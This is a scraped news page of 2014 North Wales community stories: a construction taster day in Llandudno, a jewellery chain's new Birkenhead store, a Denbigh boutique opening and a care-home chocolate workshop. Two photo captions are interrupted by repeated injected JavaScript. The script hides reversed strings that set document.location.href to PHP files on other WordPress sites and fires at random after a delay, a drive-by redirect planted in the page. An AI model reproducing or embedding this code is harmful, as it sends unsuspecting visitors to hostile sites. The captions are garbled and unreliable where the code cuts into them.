Category: News

Taster day shows how to build a new career in construction in Llandudno

Cartrefi Conwy Construction taster session at the Construction taster session at the Ty Llywelyn Community Centre Llandudno. Pictured is Eddie Connor trying out the brick laying with Paul Kenyon, Llandrillo College and Mike Rutter Cartrefi Conwy.

A housing association has given people looking to build a career in the construction industry a chance to see how they measure up to the job.

Cartrefi Conwy Construction taster session at the Construction taster session at the Ty Llywelyn Community Centre Llandudno. Pictured is Plasterer Daryl Brackenbury, Plumber Mike Millership, Brick layer Paul Kenyon and Joiner Mark Lloyd from Llandrillo college .

Cartrefi Conwy is currently working on a £340,000 scheme to facelift the exterior of flats and maisonettes on the Tre Cwm estate in Llandudno.

As part of its commitment to give added benefits to its tenants, the housing association hosted a special showcase event at the Ty Llywelyn Community Centre providing people with taste of what it’s like to work in the world of construction.

Cartrefi Conwy arranged the late afternoon session with the help of its partners, Coleg Llandrillo and Colwyn Bay-based G. Purchase Construction Ltd, which is the contractor for the Tre Cwm renovation scheme.

For two hours the community centre was transformed into a mini construction site as a team of workshop supervisors from Coleg Llandrillo gave hands-on displays of the various trades associated with construction including carpentry, bricklaying, plumbing, plastering and painting and decorating.

Owen Veldhuisen, Senior Tenant Engagement Officer for Cartrefi Conwy, explained how the successful taster session, which was the pilot for similar events in the future, was put together.

He said: “As part of a wider, five-year improvement programme costing £3.4 million, Cartrefi Conwy is currently involved in a £340,000 scheme to upgrade the exteriors of properties on our Tre Cwm estate.

“This involves work being done on the outside of flats and maisonettes, including the provision of new guttering and fascias and flooring in the patio areas.

“We have a commitment to bringing added benefits to any work like this that we do in terms of training, apprenticeships and work experience.

“The construction taster day at the Ty Llywelyn Community Centre was arranged as part of this and we have worked closely on it with our partners from Coleg Llandrillo and G. Purchase Construction.

“The aim was to invite along anyone of working age from the local area with an interest in the construction industry, either young people looking for training or someone a little older considering a change of job.

“The taster day, which went very well, was very much a pilot project and, using the experience gained from it, we will arrange similar events in the future.

“We want to give something back to the community we serve and if we can get someone on to a college course or into a job that’s part of our ethos.”

Among those who benefitted from the taster day was 31-year-old Eddie Connor from Llandudno.

He came along early to the event after learning about it from one of the leaflets put out locally by Cartrefi Conwy and was shown the basics of bricklaying by one of the experts from Coleg Llandrillo.

Taking a break from trowel techniques, Eddie said: “I live locally, so I thought I’d come and give it a try. I’m glad that I did because it was very useful.

“At the moment I’m working as a newspaper delivery driver but am looking for something that’s a little more challenging.

“I’ve always wanted to get into the construction business. My aim is to become a multi-skilled tradesman doing a variety of jobs such as bricklaying, plastering and plumbing. Eventually I’d like to work for myself.

“The taster session was great because you don’t usually get the chance to come to events like this where you can have a look at all the trades together and also actually try your hand at them.”

Eddie was being guided through the bricklaying process by 38-year-old Paul Kenyon, one of the workshop supervisors from Coleg Llandrillo.

He said: “I teach a one-year building crafts foundation course which takes in all the construction trades.

“I’ve done taster sessions like this in college but this is the first time I’ve done one at an outside venue and I’ve enjoyed it very much.

“It’s been good to have the chance to give people like Eddie an insight into the industry and hopefully interest them enough to try to get into it.

“Construction can be a good and decently-paid career for life. There’s a shortage of bricklayers at the moment simply because not enough people are considering it as a job. Hopefully, this sort of event will help to change that situation.”

Steve Walker, Project Manager on the Tre Cwm facelift scheme for G.Purchase Construction Ltd who was at the taster day, said: “It’s been a first class event which we were proud to be involved in.

“It’s given people an opportunity to get a proper feel for what it’s like to work in construction and there was a cross-section of all the construction trades on show.

“We have a great relationship with Coleg Llandrillo and we’re grateful to them for arranging for their supervisors to get involved with the taster day, which we hope will help spread the word about what a good industry construction can be.”

Tuesday November 18th, 2014

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Soaring jewellery chain Mococo flies in to Birkenhead shopping centre

The Pyramids and Grange shopping centre Birkenhead welcomes Mococo $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the centre. Pictured is Maureen Hooson ? owner of Mococo with Derek Millar, Commercial Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor for The Grange and Pyramids Shopping Centre

It’s a classic tale of entrepreneurial success – with help from celebrities like Christine Aguilera, Cheryl Cole and Holly Willoughby along the way.

From a modest investment of £250 in 2006, the rapidly expanding fashion jewellery chain, Mococo, is projecting a turnover of £8 million this year.

The latest chapter in the story of Mococo’s spectacular growth has seen then open a sixth store at Pyramids Shopping Centre in Birkenhead adding to their existing shops in the North West and North Wales in Ruthin, Mold, Wrexham, Chester and Liverpool. The company also has a Pandora store in Wigan.

The new Birkenhead store created 10 new jobs.

Not unlike the iconic Laura Ashley in the 1960s, it all started with mum of two Maureen Hooson making her own jewellery at her kitchen table at the family home in Northop, in Flintshire.

Maureen is the creative driving force behind Mococo, which specialises in “affordable glamour”, while husband Lee keeps the wheels turning in the engine room of the business, in a partnership of complementary skills that’s proving a winner.

Born in Liverpool and raised on the Wirral, Maureen, a former pupil of Rock Ferry Convent School, worked for more than 20 years for the high end jewellers, Boodles in Chester.

Following the arrival of sons Oliver and Adam, now 24 and 22 respectively, she worked part time and it was then that the idea for Mococo was born.

It started out in 2006 with Maureen making her own jewellery for a party plan business and later buying in jewellery from other designers.

She and Lee opened the first shop in Ruthin a year later at a time when the recession was beginning to bite but, counter-intuitively, it was the ideal time to do so.

Maureen explained: “When the recession kicked in, the sales of really expensive high end items slowed down while sales at the affordable end of the spectrum took off.

“What, on the face of it, seemed to be an inauspicious time to start a business was actually the perfect launch pad for Mococo.

“Just because there’s a recession, people don’t stop wanting to treat themselves.

“On top of that, a lot of what we sell is for important occasions like birthdays, for an anniversary, Christmas, Easter or Mother’s Day – those occasions never go away.

“We keep refreshing our range as fashions change, we keep on top of it. We spend a lot of time abroad or in shows – anywhere we can find the next big thing.

“In addition to favourites like Thomas Sabo and Pandora, we also sell stunning jewellery from cutting edge designers like Stephen Webster, Shaun Leane and Chlobo.

“We regularly see our jewellery being worn by the likes of Christine Aguilera, Martine Mccutcheon, Holly Willoughby and Cheryl Cole – and Peter Andre loves Chlobo.

“Our main focus though is our customers – customer service is king. Without our customers, the business would not exist. They are our number one priority.

“What we sell is fashion jewellery that is real, it’s semi-precious – it’s affordable glamour.

“For example, if a girl has bought a new outfit she’ll come in with the outfit to find the perfect jewellery to go with it.”

According to Maureen, Pyramids Shopping Centre is the perfect location for the  next staging post as part of their ambition to open more than 30 stores nationwide.

She said: “Pyramids Shopping Centre is one of the busiest shopping hubs in the north west and going forward it fits with our style of shopping experience.

“Birkenhead is a town that we have wanted to move into for quite some time now as we feel it sits well with our brand.

“We’re really looking forward to opening our store there. Every time we open a new store, we go to the next level, we add a bit more.”

Managing Director Lee Hooson added: “We are really excited to be opening a new store in Birkenhead and bringing some of the world’s most stylish, fashionable and affordable designer jewellery to Wirral.”

Derek Millar, Commercial Director for Pyramids Shopping Centre said he was “really delighted” about the arrival of Mococo at the busy shopping centre.

He said: “We already have a whole host of shops catering for fashion lovers so the range of fashion jewellery sold by Mococo is the perfect fit.

“We have had some really important businesses open with us in recent  months including H&M, Liverpool FC, Our Beautiful Life fashion boutique and Roman.

“It is terrific to also welcome Mococo to the ranks and we are looking forward to the new store opening with us soon.”

For more information about Mococo go to www.mococo.co.uk and for more information about the Pyramids shopping centre go to:  www.pyramidsbirkenhead.com

Monday November 17th, 2014

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Business duo with passion for fashion open their own boutique in Denbigh

The official opening by Sioned Terry of the new women's boutique Melange on Denbigh High Street, Pictured is Angela Jones, Sioned Terry and Melanie Jones.

TWO successful businesswomen with a shared passion for fashion have made their dreams come true by opening their own ladies’ clothing boutique in Denbigh.

Angela Jones and her friend Mel Jones each already run thriving businesses in the town but have nurtured a lifelong ambition to have their own shop selling stylish yet affordable clothing and accessories.

Now they’ve fulfilled their mutual dream by teaming up to launch a new boutique in Denbigh’s High Street aptly named Mélange, which is a clever combination of their two first names and means “mixture” in French.

The official opening by Sioned Terry of the new women's boutique Melange on Denbigh High Street

The new shop was officially opened by the glamorous singer Sioned Terry who taught music at the former Howell’s School in Denbigh before turning professional three years ago.

Angela, 44, owns and runs Elwy Lettings, a highly successful lettings agency based in Vale Street Denbigh which is due to expand into Rhyl when a second branch opens in Bodfor Street at the end of this month.

Angela began her career by joining the Army at the age of 18, starting out as a driver and eventually becoming a Lance Corporal. After a spell in the UK, she was later based in Germany and did a tour of duty in Bosnia.

After leaving the Army Angela, who has two sons, Oliver, 14 and Robbie, 20, started working at an estate agency in 2000 and joined Elwy Lettings in 2010. Two years later she grasped the opportunity to become her own boss by buying the business and has been running it successfully ever since.

Her business partner in the new boutique, 39-year-old Mel Jones, comes originally from Denbigh and now lives in nearby Henllan with her husband Bryn Jones and their two sons, Morgan, 12, and 14-year-old Bradley.

Starting her working life in retail, she became assistant manager of Co-op stores in Denbigh and Ruthin before spending 12 years working in administration at Denbigh Magistrates Court.

Last year, Mel opened her own hair and beauty salon called Pure, also in Vale Street, Denbigh, with her cousin Paul Edwards, a personal trainer, which has been a run-away success and currently employs six stylists.

She first met up with her new business partner Angela about a year ago when she became a regular customer at the salon and together they fashioned plans to open Melange.

Angela said: “We both have a passion for clothes and dreamt about opening our own shop one day.

“We decided to take things further after spotting what we believe is a gap in the market for our sort of boutique in Denbigh.

“We found the ideal property for our new business, which is a former flower shop in a prime location in High Street. We have since jointly invested quite a substantial amount of money on a major facelift.

“We’ve had a dressing room built and a complete redecoration, which makes it look fantastic for showing off our extensive range of stock.

“Everything is very affordable and priced at less than £40. We’re selling trousers, hosiery, hats, scarves, gloves, jackets, jeans and blouses.

“We’re also stocking shoes, boots, bags and fashion jewellery including everything from necklaces and earrings to bars and studs for belly piercings.

“We spent a lot of time putting the shop together and we’re confident we have something for everyone. We also tried to make our range ageless as there are a lot of ladies of a certain age out there who love to wear something elegant.

“We have a range of plus sizes which we’re planning to add to based on feedback from customers on what they actually want to see us include.”

Angela added: “Mel and myself will both be working in Mélange whenever we can and we’re also proud that we’ve created two part-time jobs at the boutique.

“One of these has been taken by local girl Hannah Woodfield. She’s 18 years old and this is her first job after leaving college.

“The other person working with us is Nia Lloyd Jones, who is 40 and also local. She has her own business which gives older items a smart new look and she’ll also be having her own rail of clothing at Mélange.

“In fact, we’re offering any local ladies’ clothing designers the chance to showcase their creations on their own rails at our boutique because Mel and I believe it is important to give them an outlet.

“Opening Mélange is a dream come true for me, especially in Denbigh which is a town I love because of its unique community atmosphere and the way people have of supporting each other.”

Mel Jones said: “Like Angela, I’ve always had a real passion for clothes and being able to develop this by opening our own business in Denbigh has just been fantastic.

“Over the past few months we’ve had a marvellous time putting everything together, including overseeing the look of the boutique and taking regular early morning trips over to Manchester to visit all the clothing suppliers. What woman wouldn’t enjoy that?

“We’re very excited about opening Melange and the range of great clothing and accessories we’re offering.”

Celebratory corks were popped for the grand opening of the boutique by mezzo soprano Sioned Terry, from Towyn, near Abergele, who once sang for Prince Charles.

She has also starred alongside the likes of tenors Wynne Evans aka Gio Compario from the Go Compare TV ads and Rhys Meirion not to mention the popular Britain’s Got Talent duo Richard and Adam.

Sioned said: “I was thrilled to be asked to officially open the Melange boutique which is exactly what Denbigh needed.

“I love clothes and often need a touch of glamour when I’m on stage so I’ll definitely be back as I will be able to cut a dash without having to break the bank.”

Angela said: “We’re delighted Sioned agreed to come to join us on our very special day as she’s such a big star and also a local girl.

“To follow things up we’re having a fashion show at Mélange on the evening of Saturday, November 22.

“It’s a free evening and we’ll have models of different ages and sizes showing off some of the clothes we have available. It’s going to be good fun and a great night out for the ladies just before things to start to get hectic in the run-up to Christmas.”

Monday November 17th, 2014

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Wrexham care home residents are treated to a tasty choc workshop

Pendine Park Denbigh Chocolate Shop conducted a workshop with residents $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to celebrate national chocolate week? Pictured is Ceri Belshaw from Denbigh Chocolate shop with resident John Molyneux and Susie Owen Pendine Park.

Sweet-toothed care home residents we’re treated to a tasty workshop.

Residents, staff, and family members, got together for a delicious workshop by Denbigh Chocolate Shop at Hillbury care home, which is part of Pendine Park care organisation.

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Enthusiastic choccy fans crunched biscuits, and mixed them with Belgian chocolate and marshmallows to create yummy rocky road.

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Hillbury resident John Molyneux, 70, got in on the action and had a great time at the choctastic demonstration.

He said: “It’s lovely and everybody is happy. I got involved in making the rocky road and it looks very tasty."

Alan Hassall, 67, a resident at Bryn Bella at Pendine Park, had a blast at the chocolate workshop, even though he couldn’t actually eat any because he’s diabetic!

Alan said: “I’ve been mixing biscuits with the chocolate and putting in the marshmallows. I’ve enjoyed myself very much. I can’t actually try the try the rocky road though because I’m diabetic but I’ve still really enjoyed myself because it’s brought everyone together.

“I like taking part in activities here because it keeps you occupied. I do a lot of art here as well. The people here are really friendly.”

Denbigh Chocolate Shop Assistant Ceri Belshaw, 25, added: “We’re making rocky road and the residents getting involved and helping out.

“We’ve melted the chocolate, and we’re crunching the biscuits and mixing everything together with marshmallows. It’s great fun. You can’t go wrong with chocolate. “

The chocolate workshop was the brainchild of Anita Moran, an Activities and Well-being Coordinator at Pendine Park.

She said: “I was looking for something different and something new. Everybody loves chocolate. You can see that that the residents are really paying attention. When I told them we were going to be having a chocolate workshop everyone started licking their lips.

“We’ve got family members here as well and they’re really enjoying themselves and the residents are getting into it and taking part.

“One of the demonstrators has a background in care and that really shows.

“The demonstration is interesting, everyone is laughing and joking - it’s brilliant.

“The girls who are doing it are really great with the residents.

“I think I’m going to have to take a trip to Denbigh just to go to the Chocolate Shop.

“I love any chocolate with nuts in. that was my mums favourite as well so I think that has been passed on.

“I’m looking forward to trying the rocky road. The residents don’t have to just watch the demonstration. They have the option to take part and a lot of them are taking part and helping to make the rocky road as well.

“This is the first time we’ve done this but it’s gone so well that I definitely think we’ll be doing it again. It’s not just about the chocolate but the social aspect because it’s bringing everyone together which is really nice.

“At Pendine Park we want to give the residents as many choices as possible because that’s a normal part of life. People who live in a care home should be able to do things like this as well.

“It’s part of our enrichment programme here at Pendine Park. We put on all sorts of classes for the residents, like art classes and poetry classes. We even have the world-class Halle orchestra coming down here on a regular basis to do music workshops with the residents!”

Tuesday November 11th, 2014

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News

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